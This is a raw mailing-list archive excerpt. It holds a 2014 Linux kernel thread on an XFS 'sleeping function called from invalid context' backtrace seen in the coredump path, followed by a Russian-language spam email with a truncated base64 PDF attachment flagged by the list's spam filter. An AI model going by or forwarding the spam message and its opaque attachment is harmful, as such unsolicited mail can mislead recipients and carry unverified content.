(int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1C0iB6U000571 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 19:44:11 -0500 Received: from gelk.kernelslacker.org (ovpn-113-62.phx2.redhat.com [10.3.113.62]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1C0i5xe015549 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Feb 2014 19:44:11 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id s1C0i4qF017210; Tue, 11 Feb 2014 19:44:04 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id s1C0i3eu017135; Tue, 11 Feb 2014 19:44:03 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Tue, 11 Feb 2014 19:44:03 -0500 From: Dave Jones To: Eric Sandeen Cc: Dave Chinner , Linux Kernel , xfs@oss.sgi.com, Al Viro , Linus Torvalds Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212004403.GA17129@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com, Al Viro , Linus Torvalds References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FA9ADA.9040803@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392165854 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Feb 11, 2014 at 03:49:14PM -0600, Eric Sandeen wrote: > On 2/11/14, 3:08 PM, Dave Chinner wrote: > > On Tue, Feb 11, 2014 at 12:27:07PM -0500, Dave Jones wrote: > >> BUG: sleeping function called from invalid context at mm/mempool.c:203 > >> in_atomic(): 0, irqs_disabled(): 1, pid: 27511, name: trinity-c3 > >> 5 locks held by trinity-c3/27511: > >> #0: (sb_writers#9){......}, at: [] mnt_want_write+0x24/0x50 > >> #1: (&type->i_mutex_dir_key#3){......}, at: [] do_last.isra.51+0x294/0x11f0 > >> #2: (sb_internal#2){......}, at: [] xfs_trans_alloc+0x24/0x40 [xfs] > >> #3: (&(&ip->i_lock)->mr_lock/1){......}, at: [] xfs_ilock+0x16f/0x1b0 [xfs] > >> #4: (&(&ip->i_lock)->mr_lock){......}, at: [] xfs_ilock_nowait+0x184/0x200 [xfs] > >> CPU: 3 PID: 27511 Comm: trinity-c3 Not tainted 3.14.0-rc2+ #111 > >> ffffffff83a3fd56 0000000045a3849a ffff88009f368f60 ffffffff8372afea > >> 0000000000000000 ffff88009f368f88 ffffffff8309ddb5 0000000000000010 > >> ffff880243566288 0000000000000008 ffff88009f369008 ffffffff831534d3 > >> Call Trace: > >> [] dump_stack+0x4e/0x7a > >> [] __might_sleep+0x105/0x150 > >> [] mempool_alloc+0xa3/0x170 > >> [] ? deactivate_slab+0x51a/0x590 > >> [] bio_alloc_bioset+0x156/0x210 > >> [] _xfs_buf_ioapply+0x1c1/0x3c0 [xfs] > >> [] ? xlog_bdstrat+0x22/0x60 [xfs] > >> [] xfs_buf_iorequest+0x6b/0xf0 [xfs] > >> [] xlog_bdstrat+0x22/0x60 [xfs] > >> [] xlog_sync+0x3a7/0x5b0 [xfs] > >> [] xlog_state_release_iclog+0x10f/0x120 [xfs] > >> [] xlog_write+0x6f0/0x800 [xfs] > >> [] xlog_cil_push+0x2f1/0x410 [xfs] > >> [] xlog_cil_force_lsn+0x1d8/0x210 [xfs] > >> [] ? xfs_bmbt_get_all+0x18/0x20 [xfs] > >> [] _xfs_log_force+0x70/0x290 [xfs] > >> [] ? get_parent_ip+0xd/0x50 > >> [] xfs_log_force+0x26/0xb0 [xfs] > >> [] ? _xfs_buf_find+0x1f6/0x3c0 [xfs] > >> [] xfs_buf_lock+0x133/0x140 [xfs] > >> [] _xfs_buf_find+0x1f6/0x3c0 [xfs] > >> [] xfs_buf_get_map+0x2a/0x1b0 [xfs] > >> [] xfs_trans_get_buf_map+0x1a1/0x240 [xfs] > >> [] xfs_da_get_buf+0xbd/0x100 [xfs] > >> [] xfs_dir3_data_init+0x59/0x1d0 [xfs] > >> [] ? xfs_dir2_grow_inode+0x13b/0x150 [xfs] > >> [] xfs_dir2_sf_to_block+0x17e/0x7b0 [xfs] > >> [] ? xfs_dir2_sfe_get_ino+0x1a/0x20 [xfs] > >> [] ? xfs_dir2_sf_check.isra.7+0x114/0x1b0 [xfs] > >> [] ? xfs_da_compname+0x1f/0x30 [xfs] > >> [] ? xfs_dir2_sf_lookup+0x303/0x310 [xfs] > >> [] xfs_dir2_sf_addname+0x348/0x6d0 [xfs] > >> [] ? xfs_setup_inode+0x1cd/0x320 [xfs] > >> [] xfs_dir_createname+0x184/0x1e0 [xfs] > >> [] xfs_create+0x469/0x580 [xfs] > >> [] xfs_vn_mknod+0xc4/0x1e0 [xfs] > >> [] xfs_vn_create+0x13/0x20 [xfs] > >> [] vfs_create+0x95/0xc0 > >> [] do_last.isra.51+0x9f8/0x11f0 > >> [] ? link_path_walk+0x81/0x870 > >> [] path_openat+0xc9/0x620 > >> [] ? put_dec+0x72/0x90 > >> [] do_filp_open+0x4d/0xb0 > >> [] file_open_name+0xfe/0x160 > >> [] filp_open+0x44/0x60 > >> [] do_coredump+0x602/0xf60 > >> [] get_signal_to_deliver+0x2b8/0x6b0 > >> [] do_signal+0x57/0x9d0 > >> [] ? __acct_update_integrals+0x8e/0x120 > >> [] ? __schedule+0x60/0x850 > >> [] ? preempt_count_sub+0x6b/0xf0 > >> [] ? _raw_spin_unlock+0x31/0x50 > >> [] ? vtime_account_user+0x91/0xa0 > >> [] ? context_tracking_user_exit+0x9b/0x100 > >> [] do_notify_resume+0x5c/0xa0 > >> [] retint_signal+0x46/0x90 > > > > There's nowhere in this XFS stack that disables interrupts, so I > > thinks it's either above or below XFS that is causing this problem. > > any chance the stack got blown & corrupted things such that it > only _looks_ like irqs are disabled? The 'good' news is I seem to be able to reproduce it fairly quickly. I've seen it 3-4 times this afternoon. (Always from the coredump path) I was on vacation last week, but I wasn't hitting this before then, so it's a fairly recent change that's introduced this. Al ? Dave From viro@ftp.linux.org.uk Tue Feb 11 19:09:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E4537F50 for ; Tue, 11 Feb 2014 19:09:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 240A2304070 for ; Tue, 11 Feb 2014 17:09:49 -0800 (PST) X-ASG-Debug-ID: 1392167387-04bdf0121d2e35e0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id INKmZrJr5ZTSg8G4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 17:09:48 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WDOKb-0000On-VX; Wed, 12 Feb 2014 01:09:41 +0000 Date: Wed, 12 Feb 2014 01:09:41 +0000 From: Al Viro To: Dave Jones , Eric Sandeen , Dave Chinner , Linux Kernel , xfs@oss.sgi.com, Linus Torvalds Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140212010941.GM18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211172707.GA1749@redhat.com> <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212004403.GA17129@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392167387 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 11, 2014 at 07:44:03PM -0500, Dave Jones wrote: > The 'good' news is I seem to be able to reproduce it fairly quickly. > I've seen it 3-4 times this afternoon. (Always from the coredump path) > > I was on vacation last week, but I wasn't hitting this before then, so it's a > fairly recent change that's introduced this. Slap the check in vfs_create(), see if interrupts had been disabled by it or by something in ->create(). Since it's reproducible... From my-World2007@crada.com Tue Feb 11 19:15:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C5DA47F50 for ; Tue, 11 Feb 2014 19:15:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4450B8F804C for ; Tue, 11 Feb 2014 17:15:05 -0800 (PST) X-ASG-Debug-ID: 1392167702-04bdf012202e3b70001-NocioJ Received: from newdanapoint.coolservecorp.net (newdanapoint.coolservecorp.net [72.9.229.26]) by cuda.sgi.com with ESMTP id 0eFiDaARDFyx4olp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 17:15:03 -0800 (PST) X-Barracuda-Envelope-From: my-World2007@crada.com X-Barracuda-Apparent-Source-IP: 72.9.229.26 Received: from [42.120.49.235] (port=48028 helo=Unknown) by newdanapoint.coolservecorp.net with esmtpa (Exim 4.82) (envelope-from ) id 1WDOPZ-0000zC-Hu; Wed, 12 Feb 2014 01:14:58 +0000 Message-ID: Reply-To: =?windows-1251?B?yM3Rz8XK0s7QIM/OIMrAxNDAzA==?= From: =?windows-1251?B?yM3Rz8XK0s7QIM/OIMrAxNDAzA==?= To: , , , Subject: =?windows-1251?B?zvHu4eXt7e7x8ugg7/Do5ezgIO3gIPDg4e7y?= =?windows-1251?B?8yDo7e7x8vDg7e379SDw4OHu8u3o6u7i?= Date: Wed, 12 Feb 2014 02:14:58 +0100 X-ASG-Orig-Subj: =?windows-1251?B?zvHu4eXt7e7x8ugg7/Do5ezgIO3gIPDg4e7y?= =?windows-1251?B?8yDo7e7x8vDg7e379SDw4OHu8u3o6u7i?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0F0F_01CF2798.3A891B90" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-OutGoing-Spam-Status: No, score=-1.0 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - newdanapoint.coolservecorp.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - crada.com X-Get-Message-Sender-Via: newdanapoint.coolservecorp.net: authenticated_id: info@whitetrading.biz X-Barracuda-Connect: newdanapoint.coolservecorp.net[72.9.229.26] X-Barracuda-Start-Time: 1392167703 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0F0F_01CF2798.3A891B90 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0F10_01CF2798.3A891B90" ------=_NextPart_001_0F10_01CF2798.3A891B90 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=E0=E4=F0=EE=E2=EE=E5 =E4=E5=EB=EE ------=_NextPart_001_0F10_01CF2798.3A891B90 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CA=E0=E4=F0=EE=E2=EE=E5 =E4=E5=EB=EE
------=_NextPart_001_0F10_01CF2798.3A891B90-- ------=_NextPart_000_0F0F_01CF2798.3A891B90 Content-Type: application/octet-stream; name="=?windows-1251?B?zvTu8Ozr5e3o5SDy8PPk7uL79SDu8u3u+OXt?= =?windows-1251?B?6OkucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?zvTu8Ozr5e3o5SDy8PPk7uL79SDu8u3u+OXt?= =?windows-1251?B?6OkucGRm?=" JVBERi0xLjMKMyAwIG9iago8PC9UeXBlIC9QYWdlCi9QYXJlbnQgMSAwIFIKL1Jlc291cmNlcyAy IDAgUgovQ29udGVudHMgNCAwIFI+PgplbmRvYmoKNCAwIG9iago8PC9GaWx0ZXIgL0ZsYXRlRGVj b2RlIC9MZW5ndGggMTEzPj4Kc3RyZWFtCnicM1Lw4jLQMzVXKOcqVDBQ8FIwVCgH0llA7A7E6UBR Qz0DIFAAQRgThUrO5dIPCfAxVHDJVwjkCuQCK1JAJovSuUBqFSxMDPUsLBVMLU31jCzA2hWKUhXS UCTBbF0oBywLVY5THiwCJjAMBgAx3ixoCmVuZHN0cmVhbQplbmRvYmoKMSAwIG9iago8PC9UeXBl IC9QYWdlcwovS2lkcyBbMyAwIFIgXQovQ291bnQgMQovTWVkaWFCb3ggWzAgMCA1OTUuMjggODQx Ljg5XQo+PgplbmRvYmoKNSAwIG9iago8PC9GaWx0ZXIgL0ZsYXRlRGVjb2RlIC9UeXBlIC9YT2Jq ZWN0Ci9TdWJ0eXBlIC9Gb3JtCi9Gb3JtVHlwZSAxCi9CQm94IFswLjAwIDAuMDAgNTk1LjI4IDg0 MS44OV0KL1Jlc291cmNlcyAKPDwvUHJvY1NldCBbL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMg L0ltYWdlSSBdCi9Gb250IDw8Pj4vWE9iamVjdCA8PC9JMSA2IDAgUgo+Pj4+L0dyb3VwIDw8L1R5 cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3k+PgovTGVuZ3RoIDU3ID4+CnN0cmVhbQp4nDNS8OIy0DM1 VyjnKlQwtTTRMzdSMABCCxMDPSMTBSBhASQsjBSScxX0PQ0VXPIVArkUACJYCsMKZW5kc3RyZWFt CmVuZG9iago2IDAgb2JqCjw8L1R5cGUgL1hPYmplY3QgL1N1YnR5cGUgL0ltYWdlIC9XaWR0aCA4 MjYgL0hlaWdodCAxMTY3IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IgL0JpdHNQZXJDb21wb25lbnQg OCAvRmlsdGVyIC9EQ1REZWNvZGUgL0xlbmd0aCAxMDkyMzcgPj5zdHJlYW0K/9j/4AAQSkZJRgAB AQIAJwAnAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYW ICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgo KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCASPAzoDASIAAhEBAxEB/8QAHAAB AAIDAQEBAAAAAAAAAAAAAAUGAwQHAgEI/8QAWBAAAQQCAQIEBAQDBAUHCQATAQACAwQFEQYSIQcT MUEUIlFhFTJxgSORoQgWQlIzU5Kx0SQ0VFVicsEXNjdDc3SCorIlNXWzGCY4RGODk8LhJ0VIZIW0 /8QAGgEBAAMBAQEAAAAAAAAAAAAAAAIDBAEFBv/EADsRAQABAwMCAwYFAgQFBQAAAAABAgMRBCEx EkFRYXEFEyKBkaEyscHR8BQjM0Lh8RVScqKyBiRDgtL/2gAMAwEAAhEDEQA/AP1SiIgIiICIiAiI gIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICI iAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgI iICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiA iIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiI CIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiL 497Y2Oe9wa1o2SToBB9RRk2excONsZCW7CylXcWSTOdpgPb3Pb3C9HNUW4iLJSTBlSVgexx9XA9x oD139kEiiDuNogIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIi ICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAi IgIiICIiAiIgIiICIiAiIgKieJfNclw2fGzwYKXJYqUuFqeJx3X1rR0Ae2t+uvRSvOeRP49BjywN b8XOYjK6N0gjAY5xPS3RP5deo9VQszzDBcrsz4CXm2NjYCY5YzRkjZKfoJDKB2P0KDpuC5Hic9E1 +JvQ2Nt6w1p07p+uj30q94q563jeMZOtiKc9rKPrOfG1sPW3p3onuNO1v07qiXZ4eL47AVPDvHHJ Q468GWLL5A0F8renp6iRvq2PT5R2WTkdPn2QpWa+Sxd+1FLH1wTQPrRTU5/qzokPUz1Gj30g5vh5 vEK14bZOvj4Mk0fGNjEFWkIBG3RL3N6GDvtrQQPTZWJsfPI/Dmq+Onlbjn2nSSSW4TZEcbW6Z0CQ ODRsu7jXoFLUeG+NNOqYKk88ULu5YLsPuP1Xz+5XjQMa6gJphTLSwxC7DrR9R+ZB3bwxyeQucYow 8gfadnREX2xYh8tzD1EAEAADt6fXRViy2XoYmESZG1FXad66z3OvXQ9SuOcYoc4xOGp4zE4S9ReH mTI35Jq80s8mtAM8yQDp7ep/ZbFDJXcpluR1/EHFiLFmOLHGZrmksJG+4Y4kdWwTrYBAQWPi3O8v ynmLoMThT/dSMOH4rJ1ATEDt0bAB79vddGXFMZm+N+HJjx9XmdAVJNdFYU3zkdz8zi2Tse/fsB29 Ff8AiPJzmcrdptmhtwwxtkjswxOia8E6PYk7H0IOjo/RBbEREBERAREQEREBERAREQEREBERAREQ EREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBER AREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERBisxtkgeHNa75TrY37LgPMOP4f HeFuHyFDHVq2SjyTQ2zDGGSb88tO3Duew9F+gz3XHeZcebd47frSW+itgcgbrAZeiOdrtyGJx0dE Fx9jrbUEvzgBnK/lGvMNEu17kWW63/M/zUryfkuXq84w2BwkFKU2oZZ5jZLm9mDsA5u9b+uiobKC XKUqvILMtXqsWKMUcFZ5kbG3zmuPU4gbdvXbQ1r3WxEDZ8eZtkFtXDtc0fQueQf/AAQWb+8vwY1n sfbx2vWYt82D9fMZsNH/AH+n9F8byyncGsFBYzBPo+m0GL/9q4hn7dW/spvIf8ws/wDsnf7iongj Ws4dhmsaGj4VnYDXsghGclzlfxAxeFylWhDVyFeWVghe6R7Cwb7uIA7/AEA/cqMoND/Eedrhtv4o 46PpsVXEH+azc71V8SuD3j26pZam/wDvt/8A4LHFVndyPkGQp2a0FihfbK0WiRG8GDpIcR3HYnvo oKxjMDiM3yDxOs5mjDdsV5Wxxvnb1GNvlE/Lv07j2XVuF146/EsIyONjNUoQQ0a/wAn+q5dx+m+1 S5DyKCzFHPnrLaMsEMxkhr6f0GR2wO+hsdvQ/ddmp12VakFeL/RwsbG39ANBBlREQEREBERAREQE REBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERA REQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREGOy4srSub2 IYSP5Lj/ADWTyPB7FXGkiy67BOX77l7ph1E/X1PquxSMEkbmH0cCFyzm3FsnJwpmHmsVDTrTMdWk YXebM7r3HGW60O5A3s7+iDc5vFHX5DE2BjY2yvpveGDQcRZYAT99EqMt3spxvxUzeZscby9+hYrx 1oZqMIk7DTiSN9hvajvGDl1TF8gsQ1mm1eqQ15nxM9GdM7XaJ+pA9PXuuh1+d4V0ET7j7NB72Bxj uVpIiNj0+YDf7IIeTxV4vNBPWs2bNGyY3AxWqz4y069CSNf1WhxvxP4tjuM4mq+++e02uxpirwPl OwPTYGtq3x8o4xlXtp/iWPsOlPSIZHtPX9tH1R+b4vx0/BC3jKBb/wDm8ZYzX/whBQc/mchzHP8A GHYvjObggx+RZaks26/lscwAjsd/dS9GvDa55kIrMbJYjkuoxvG2kisSCR9j3VjPOME7tVtSW5D6 MqwPlcf2aCuW8U5XO7xZuty1Gzjalm/uA2o+gh5gcxrT93eoQWnijIbWU8SIZI4yxk7Yw0NAAaIt gaH32rtwuxLb4jhp53l8slSNznH1cekdyqZjeOZutmeVSYi1RaMpZ/jttNd1RDoADma/NsE9jr09 Vf8ACY9uKw9LHxvL21oWQh5Gi7pGtoN1ERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAR EQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREB ERAREQEREBERAREQEREBERAREQEREBERAREQFzHxU5vi61RuKx0vxueM0bq0NdwcWTNeOkuH0BHc LoObjvS4m3HiZIY77oyIXzb6Gu12J13VJ8PvDSDjlo5XL3H5PPPcXusOHytJbohoP+/9PRBVL3H8 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 